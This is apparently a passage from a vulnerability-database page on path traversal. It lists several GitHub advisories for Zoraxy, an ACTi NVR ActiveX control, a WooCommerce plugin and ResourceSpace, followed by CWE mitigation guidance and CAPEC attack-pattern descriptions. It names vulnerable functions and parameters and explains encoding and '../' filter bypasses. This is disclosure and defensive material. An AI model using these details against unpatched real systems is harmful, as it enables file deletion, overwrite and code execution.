      "url": "https://github.com/tobychui/zoraxy/security/advisories/GHSA-7pq3-326h-f8q9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33529"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tobychui/zoraxy/commit/69ac755aeec5d15ba4c62099f7f1ed77a855b40b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tobychui/zoraxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tobychui/zoraxy/releases/tag/v3.3.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Zoraxy: Authenticated Path Traversal in Config Import leads to RCE"
}

GHSA-7PR3-JQJP-Q488

Vulnerability from github – Published: 2022-05-01 18:25 – Updated: 2022-05-01 18:25
VLAI
Details

Multiple absolute path traversal vulnerabilities in the nvUtility.Utility.1 ActiveX control in nvUtility.dll 1.0.14.0 in ACTi Network Video Recorder (NVR) SP2 2.0 allow remote attackers to (1) create or overwrite arbitrary files via a full pathname in the first argument to the SaveXMLFile method or (2) delete arbitrary files via a full pathname in the argument to the DeleteXMLFile method.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-4583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-08-29T01:17:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple absolute path traversal vulnerabilities in the nvUtility.Utility.1 ActiveX control in nvUtility.dll 1.0.14.0 in ACTi Network Video Recorder (NVR) SP2 2.0 allow remote attackers to (1) create or overwrite arbitrary files via a full pathname in the first argument to the SaveXMLFile method or (2) delete arbitrary files via a full pathname in the argument to the DeleteXMLFile method.",
  "id": "GHSA-7pr3-jqjp-q488",
  "modified": "2022-05-01T18:25:12Z",
  "published": "2022-05-01T18:25:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4583"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36303"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36304"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4323"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/4324"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38386"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/38387"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/26622"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/25465"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/2993"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7PR6-HX5J-FW8H

Vulnerability from github – Published: 2025-07-16 09:31 – Updated: 2026-04-08 21:33
VLAI
Details

The Counter live visitors for WooCommerce plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the wcvisitor_get_block function in all versions up to, and including, 1.3.6. This makes it possible for unauthenticated attackers to delete arbitrary files on the server. NOTE: This particular vulnerability deletes all the files in a targeted arbitrary directory rather than a specified arbitrary file, which can lead to loss of data or a denial of service condition.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-7359"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-16T07:15:24Z",
    "severity": "HIGH"
  },
  "details": "The Counter live visitors for WooCommerce plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the wcvisitor_get_block function in all versions up to, and including, 1.3.6. This makes it possible for unauthenticated attackers to delete arbitrary files on the server. NOTE: This particular vulnerability deletes all the files in a targeted arbitrary directory rather than a specified arbitrary file, which can lead to loss of data or a denial of service condition.",
  "id": "GHSA-7pr6-hx5j-fw8h",
  "modified": "2026-04-08T21:33:05Z",
  "published": "2025-07-16T09:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7359"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/counter-visitor-for-woocommerce/tags/1.3.6/woo-counter-visitor.php#L378"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3333208"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae13dc61-c4bf-4b17-8055-98c80a853a2a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7PV5-MRHH-GGXG

Vulnerability from github – Published: 2022-05-24 19:20 – Updated: 2022-05-24 19:20
VLAI
Details

A directory traversal issue in ResourceSpace 9.6 before 9.6 rev 18277 allows remote unauthenticated attackers to delete arbitrary files on the ResourceSpace server via the provider and variant parameters in pages/ajax/tiles.php. Attackers can delete configuration or source code files, causing the application to become unavailable to all users.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-41950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-11-15T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A directory traversal issue in ResourceSpace 9.6 before 9.6 rev 18277 allows remote unauthenticated attackers to delete arbitrary files on the ResourceSpace server via the provider and variant parameters in pages/ajax/tiles.php. Attackers can delete configuration or source code files, causing the application to become unavailable to all users.",
  "id": "GHSA-7pv5-mrhh-ggxg",
  "modified": "2022-05-24T19:20:53Z",
  "published": "2022-05-24T19:20:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41950"
    },
    {
      "type": "WEB",
      "url": "https://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace"
    },
    {
      "type": "WEB",
      "url": "http://svn.resourcespace.com/svn/rs/releases/9.6/pages/ajax/tiles.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

Mitigation MIT-5.1
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
  • Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-20.1
Implementation

Strategy: Input Validation

  • Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
  • Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
  • realpath() in C
  • getCanonicalPath() in Java
  • GetFullPath() in ASP.NET
  • realpath() or abs_path() in Perl
  • realpath() in PHP
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-17
Architecture and Design Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Mitigation MIT-21.1
Architecture and Design

Strategy: Enforcement by Conversion

  • When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
  • For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Architecture and Design Operation

Strategy: Sandbox or Jail

  • Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
  • OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Architecture and Design Operation

Strategy: Attack Surface Reduction

  • Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
  • This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
Implementation
  • Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
  • If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
  • Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
  • In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-126: Path Traversal

An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.

CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic

This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-78: Using Escaped Slashes in Alternate Encoding

This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.

CAPEC-79: Using Slashes in Alternate Encoding

This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.